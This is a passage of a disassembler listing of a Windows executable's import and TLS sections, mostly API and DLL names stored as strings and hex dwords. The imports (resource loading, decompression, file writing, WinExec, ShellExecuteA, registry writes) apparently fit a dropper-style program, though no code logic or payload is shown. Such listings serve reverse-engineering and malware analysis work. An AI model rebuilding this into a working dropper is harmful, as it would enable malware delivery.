dword_40024630 dd 774FEE36h dword_40024634 dd 77502A37h dd 0
dword_4002463C dd 7C802442h ; resolved to->KERNEL32.Sleep dd 0
dword_40024644 dd 7712ABCCh dword_40024648 dd 771251C8h dword_4002464C dd 77125214h dword_40024650 dd 7712AB11h dword_40024654 dd 77126BFFh dword_40024658 dd 77124D6Bh dword_4002465C dd 77124920h dword_40024660 dd 77124980h align 8
dword_40024668 dd 7C961329h ; resolved to->NTDLL.RtlDecompressBuffer align 10h
dword_40024670 dd 7CA41110h ; resolved to->SHELL32.ShellExecuteA align 8
aOleaut32_dll db 'oleaut32.dll',0
align 4
aSysfreestring db 'SysFreeString',0
align 4
aSysreallocstri db 'SysReAllocStringLen',0
dd 79530000h, 6C6C4173h, 7453636Fh, 676E6972h, 6E654Ch
dd 61766461h, 32336970h, 6C6C642Eh, 0
aRegqueryvaluee db 'RegQueryValueExA',0
align 4
aRegopenkeyexa db 'RegOpenKeyExA',0
align 4
aRegclosekey db 'RegCloseKey',0
aUser32_dll db 'user32.dll',0
align 4
dd 65470000h, 79654B74h, 72616F62h, 70795464h, 65h, 74736544h
dd 57796F72h, 6F646E69h, 77h, 64616F4Ch, 69727453h, 41676Eh
dd 654D0000h, 67617373h, 786F4265h, 41h, 72616843h, 7478654Eh
dd 656B0041h, 6C656E72h, 642E3233h, 6C6Ch, 65470000h, 50434174h
dd 0
aSleep db 'Sleep',0
align 4
aVirtualfree db 'VirtualFree',0
dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 65470000h, 63695474h
dd 756F436Bh, 746Eh, 75510000h, 50797265h, 6F667265h, 6E616D72h
dd 6F436563h, 65746E75h, 72h, 43746547h, 65727275h, 6854746Eh
dd 64616572h, 6449h, 6E490000h, 6C726574h, 656B636Fh, 63654464h
dd 656D6572h, 746Eh, 6E490000h, 6C726574h, 656B636Fh, 636E4964h
dd 656D6572h, 746Eh, 69560000h, 61757472h, 6575516Ch, 7972h
dd 69570000h, 68436564h, 6F547261h, 746C754Dh, 74794269h
dd 65h, 746C754Dh, 74794269h, 576F5465h, 43656469h, 726168h
dd 736C0000h, 656C7274h, 416Eh, 736C0000h, 70637274h, 416E79h
dd 6F4C0000h, 694C6461h, 72617262h, 41784579h, 0
aGetthreadlocal db 'GetThreadLocale',0
dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 50746547h
dd 41636F72h, 65726464h, 7373h, 65470000h, 646F4D74h, 48656C75h
dd 6C646E61h, 4165h, 65470000h, 646F4D74h, 46656C75h, 4E656C69h
dd 41656D61h, 0
aGetlocaleinfoa db 'GetLocaleInfoA',0
align 4
dd 65470000h, 73614C74h, 72724574h, 726Fh, 65470000h, 6D6F4374h
dd 646E616Dh, 656E694Ch, 41h, 65657246h, 7262694Ch, 797261h
dd 69460000h, 6946646Eh, 46747372h, 41656C69h, 0
aFindclose db 'FindClose',0
align 4
aExitprocess db 'ExitProcess',0
dd 72570000h, 46657469h, 656C69h, 6E550000h, 646E6168h
dd 4564656Ch, 70656378h, 6E6F6974h, 746C6946h, 7265h, 65530000h
dd 6C694674h, 696F5065h, 7265746Eh, 0
aSetendoffile db 'SetEndOfFile',0
align 4
aRtlunwind db 'RtlUnwind',0
align 10h
aReadfile db 'ReadFile',0
align 4
aRaiseexception db 'RaiseException',0
align 4
dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6C694674h
dd 7A695365h, 65h, 46746547h, 54656C69h, 657079h, 72430000h
dd 65746165h, 656C6946h, 41h, 736F6C43h, 6E614865h, 656C64h
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
aTlssetvalue db 'TlsSetValue',0
dd 6C540000h, 74654773h, 756C6156h, 65h, 61636F4Ch, 6C6C416Ch
dd 636Fh, 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h
dd 72657375h, 642E3233h, 6C6Ch, 65520000h, 7361656Ch, 434465h
dd 654D0000h, 67617373h, 786F4265h, 41h, 64616F4Ch, 69727453h
dd 41676Eh, 6F4C0000h, 63496461h, 416E6Fh, 65470000h, 73795374h
dd 4D6D6574h, 69727465h, 7363h, 65470000h, 73795374h, 6F6C6F43h
dd 72h, 44746547h, 43h, 72616843h, 7478654Eh, 41h, 72616843h
dd 654F6F54h, 416Dh, 33696467h, 6C642E32h, 6Ch, 65726E55h
dd 7A696C61h, 6A624F65h, 746365h, 65530000h, 78655474h
dd 6C6F4374h, 726Fh, 65530000h, 504F5274h, 32h, 42746553h
dd 646F4D6Bh, 65h, 42746553h, 6C6F436Bh, 726Fh, 65530000h
dd 7463656Ch, 656C6150h, 657474h, 65530000h, 7463656Ch
dd 656A624Fh, 7463h, 6F4D0000h, 6F546576h, 7845h, 65470000h
dd 78655474h, 74654D74h, 73636972h, 41h, 53746547h, 65747379h
dd 6C61506Dh, 65747465h, 72746E45h, 736569h, 65470000h
dd 6F745374h, 624F6B63h, 7463656Ah, 0
aGetdevicecaps db 'GetDeviceCaps',0
align 10h
aGetcurrentposi db 'GetCurrentPositionEx',0
align 4
aDeleteobject db 'DeleteObject',0
align 4
aDeletedc db 'DeleteDC',0
align 4
aCreatepenindir db 'CreatePenIndirect',0
align 4
aCreatepalette db 'CreatePalette',0
align 4
aCreatefontindi db 'CreateFontIndirectA',0
dd 72430000h, 65746165h, 73757242h, 646E4968h, 63657269h
dd 656B0074h, 6C656E72h, 642E3233h, 6C6Ch, 72570000h, 50657469h
dd 61766972h, 72506574h, 6C69666Fh, 72745365h, 41676E69h
dd 0
aWritefile db 'WriteFile',0
align 4
aWinexec db 'WinExec',0
dd 61570000h, 6F467469h, 6E695372h, 4F656C67h, 63656A62h
dd 74h, 74726956h, 516C6175h, 79726575h, 0
aSleep_0 db 'Sleep',0
align 4
aSizeofresource db 'SizeofResource',0
align 4
dd 65530000h, 6C694674h, 696F5065h, 7265746Eh, 0
aSetevent db 'SetEvent',0
align 4
aResetevent db 'ResetEvent',0
align 10h
dd 65520000h, 69466461h, 656Ch, 754D0000h, 4269746Ch, 54657479h
dd 6469576Fh, 61684365h, 72h, 446C754Dh, 7669h, 6F4C0000h
dd 65526B63h, 72756F73h, 6563h, 6F4C0000h, 65526461h, 72756F73h
dd 6563h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 654C0000h
dd 43657661h, 69746972h, 536C6163h, 69746365h, 6E6Fh, 6E490000h
dd 61697469h, 657A696Ch, 74697243h, 6C616369h, 74636553h
dd 6E6F69h, 65470000h, 72655674h, 6E6F6973h, 417845h, 65470000h
dd 63695474h, 756F436Bh, 746Eh, 65470000h, 72685474h, 4C646165h
dd 6C61636Fh, 65h, 54746547h, 50706D65h, 41687461h, 0
aGetsystemdirec db 'GetSystemDirectoryA',0
dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6F725074h
dd 64644163h, 73736572h, 0
aGetmodulehandl db 'GetModuleHandleA',0
align 10h
aGetmodulefilen db 'GetModuleFileNameA',0
align 4
dd 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 0
aGetlocaltime db 'GetLocalTime',0
align 4
aGetlasterror db 'GetLastError',0
align 4
aGetenvironment db 'GetEnvironmentVariableA',0
dd 65470000h, 73694474h, 6572466Bh, 61705365h, 416563h
dd 65470000h, 74614474h, 726F4665h, 4174616Dh, 0
aGetcurrentthre db 'GetCurrentThreadId',0
align 4
dd 65470000h, 49504374h, 6F666Eh, 72460000h, 65526565h
dd 72756F73h, 6563h, 72460000h, 694C6565h, 72617262h, 79h
dd 6D726F46h, 654D7461h, 67617373h, 4165h, 69460000h, 6552646Eh
dd 72756F73h, 416563h, 78450000h, 72507469h, 7365636Fh
dd 73h, 6D756E45h, 656C6143h, 7261646Eh, 6F666E49h, 41h
dd 65746E45h, 69724372h, 61636974h, 6365536Ch, 6E6F6974h
dd 0
aDeletecritical db 'DeleteCriticalSection',0
align 4
aCreatefilea db 'CreateFileA',0
dd 72430000h, 65746165h, 6E657645h, 4174h, 6F430000h, 69467970h
dd 41656Ch, 6F430000h, 7261706Dh, 72745365h, 41676E69h
dd 0
aClosehandle db 'CloseHandle',0
aAdvapi32_dll db 'advapi32.dll',0
align 4
aRegsetvalueexa db 'RegSetValueExA',0
align 4
dd 65520000h, 65755167h, 61567972h, 4565756Ch, 4178h, 65520000h
dd 65704F67h, 79654B6Eh, 417845h, 65520000h, 756C4667h
dd 654B6873h, 79h, 43676552h, 74616572h, 79654B65h, 417845h
dd 65520000h, 6F6C4367h, 654B6573h, 79h, 55746547h, 4E726573h
dd 41656D61h, 6C6F0000h, 74756165h, 642E3233h, 6C6Ch, 65470000h
dd 72724574h, 6E49726Fh, 6F66h, 79530000h, 65724673h, 72745365h
dd 676E69h, 33656C6Fh, 6C642E32h, 6Ch, 6E556F43h, 74696E69h
dd 696C6169h, 657Ah, 6F430000h, 74696E49h, 696C6169h, 657Ah
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
aSleep_1 db 'Sleep',0
aOleaut32_dll_0 db 'oleaut32.dll',0
align 4
dd 61530000h, 72416566h, 50796172h, 664F7274h, 65646E49h
dd 78h, 65666153h, 61727241h, 74654779h, 756F4255h, 646Eh
dd 61530000h, 72416566h, 47796172h, 424C7465h, 646E756Fh
dd 0
aSafearraycreat db 'SafeArrayCreate',0
dd 61560000h, 6E616972h, 61684374h, 5465676Eh, 657079h
dd 61560000h, 6E616972h, 706F4374h, 79h, 69726156h, 43746E61h
dd 7261656Ch, 0
aVariantinit db 'VariantInit',0
aNtdll_dll db 'ntdll.dll',0
align 4
aRtldecompressb db 'RtlDecompressBuffer',0
aShell32_dll db 'shell32.dll',0
dd 68530000h, 456C6C65h, 75636578h, 416574h
_idata ends
; Section 6. (virtual address 00026000)
; Virtual size : 0000000C ( 12.)
; Section size in file : 0000000C ( 12.)
; Offset to raw data for section: 00026000
; Flags C0000000: Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Regular
; Segment permissions: Read/Write
_tls segment para public '' use32
assume cs:_tls
;org 40026000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
TlsStart dd 3 dup(0) ; DATA XREF: .rdata:TlsDirectoryo
_tls ends
; Section 7. (virtual address 00027000)
; Virtual size : 00000018 ( 24.)
; Section size in file : 00000018 ( 24.)
; Offset to raw data for section: 00027000
; Flags 40000040: Data Readable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read
_rdata segment para public 'DATA' use32
assume cs:_rdata
;org 40027000h
TlsDirectory dd offset TlsStart
TlsEnd_ptr dd 4002600Ch
TlsIndex_ptr dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0 ; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
_rdata ends
; Section 10. (virtual address 00057000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00056C00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 40057000h
align 2000h
_idata2 ends
end start